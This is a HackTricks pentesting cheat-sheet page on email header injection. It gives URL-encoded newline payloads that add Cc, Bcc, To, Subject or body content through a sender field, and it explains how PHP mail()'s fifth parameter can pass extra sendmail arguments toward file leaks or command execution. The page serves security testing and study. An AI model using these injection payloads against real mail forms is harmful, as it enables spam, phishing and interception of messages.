hacktricks/pentesting-web/email-header-injection.md

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# Email Header Injection

# Inject Cc and Bcc after sender argument

```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```

The message will be sent to the recipient and recipient1 accounts.

# Inject argument

```
From:sender@domain.com%0ATo:attacker@domain.com
```

The message will be sent to the original recipient and the attacker account.

# Inject Subject argument

```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```

The fake subject will be added to the original subject and in some cases will replace it. It depends on the mail service behavior.

# Change the body of the message

Inject a two-line feed, then write your message to change the body of the message.

```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```

# PHP mail() function exploitation

```bash
# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
  - Parameters [5] {
    Parameter #0 [ <required> $to ]
    Parameter #1 [ <required> $subject ]
    Parameter #2 [ <required> $message ]
    Parameter #3 [ <optional> $additional_headers ]
    Parameter #4 [ <optional> $additional_parameters ]
  }
}
```

## The 5th parameter ($additional\_parameters)

This section is going to be based on **how to abuse this parameter supposing that an attacker controls it**.

This parameter is going to be added to the command line PHP will be using to invoke the binary sendmail. However, it will be sanitised with the function `escapeshellcmd($additional_parameters)`.

An attacker can **inject extract parameters for sendmail** in this case.

### Differences in the implementation of /usr/sbin/sendmail

**sendmail** interface is **provided by the MTA email software** (Sendmail, Postfix, Exim etc.) installed on the system. Although the **basic functionality** (such as -t -i -f parameters) remains the **same** for compatibility reasons, **other functions and parameters** vary greatly depending on the MTA installed.

Here are a few examples of different man pages of sendmail command/interface:

* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences

Depending on the **origin of the sendmail** binary different options have been discovered to abuse them and l**eak files or even execute arbitrary commands**. Check how in [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)

# References

* [**https://resources.infosecinstitute.com/email-injection/**](https://resources.infosecinstitute.com/email-injection/)
* [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)


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